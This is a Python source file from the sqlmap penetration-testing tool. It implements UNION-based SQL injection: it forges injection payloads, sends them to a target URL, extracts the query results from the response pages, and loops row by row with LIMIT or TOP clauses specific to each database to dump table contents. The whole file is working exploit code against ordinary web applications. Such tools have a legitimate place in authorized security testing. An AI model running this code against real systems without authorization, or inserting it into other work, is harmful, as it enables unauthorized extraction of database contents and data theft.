#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import getUnicode
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapSyntaxException
from lib.core.settings import FROM_TABLE
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume
reqCount = 0
def __oneShotUnionUse(expression, unpack=True, unescape=True):
global reqCount
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression, unpack)
expression = unescaper.unescape(expression)
if conf.limitStart or conf.limitStop:
where = PAYLOAD.WHERE.NEGATIVE
else:
where = None
# Forge the inband SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5])
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
content = "%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")
reqCount += 1
if kb.misc.start not in content or kb.misc.stop not in content:
return None
# Parse the returned page to get the exact inband
# sql injection output
startPosition = content.index(kb.misc.start)
endPosition = content.rindex(kb.misc.stop) + len(kb.misc.stop)
value = getUnicode(content[startPosition:endPosition])
return value
def configUnion(char=None, columns=None):
def __configUnionChar(char):
if char.isdigit() or char == "NULL":
conf.uChar = char
elif not char.startswith("'") or not char.endswith("'"):
conf.uChar = "'%s'" % char
def __configUnionCols(columns):
if "-" not in columns or len(columns.split("-")) != 2:
raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
columns = columns.replace(" ", "")
colsStart, colsStop = columns.split("-")
if not colsStart.isdigit() or not colsStop.isdigit():
raise sqlmapSyntaxException, "--union-cols must be a range of integers"
conf.uColsStart = int(colsStart)
conf.uColsStop = int(colsStop)
if conf.uColsStart > conf.uColsStop:
errMsg = "--union-cols range has to be from lower to "
errMsg += "higher number of columns"
raise sqlmapSyntaxException, errMsg
if isinstance(conf.uChar, basestring):
__configUnionChar(conf.uChar)
elif isinstance(char, basestring):
__configUnionChar(char)
if isinstance(conf.uCols, basestring):
__configUnionCols(conf.uCols)
elif isinstance(columns, basestring):
__configUnionCols(columns)
def unionUse(expression, unescape=True, unpack=True, dump=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
global reqCount
count = None
origExpr = expression
startLimit = 0
stopLimit = None
test = True
value = ""
reqCount = 0
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
(dump and (conf.limitStart or conf.limitStop))) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
and "EXISTS(" not in expression.upper() and "(CASE" not in expression.upper():
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar]
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart
if conf.limitStop:
stopLimit = conf.limitStop
# Count the number of SQL query entries output
countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
count = parseUnionPage(count, countedExpression)
if not count or not count.isdigit():
output = __oneShotUnionUse(countedExpression, unpack=unpack)
if output:
count = parseUnionPage(output, countedExpression)
if (not count or (count.isdigit() and int(count) == 0)):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the used SQL query. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
try:
for num in xrange(startLimit, stopLimit):
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
if not output:
output = __oneShotUnionUse(limitedExpr, unescape=unescape, unpack=unpack)
if output:
value += output
parseUnionPage(output, limitedExpr)
except KeyboardInterrupt:
print
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if not value:
value = __oneShotUnionUse(expression, unescape=unescape, unpack=unpack)
duration = calculateDeltaSeconds(start)
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return value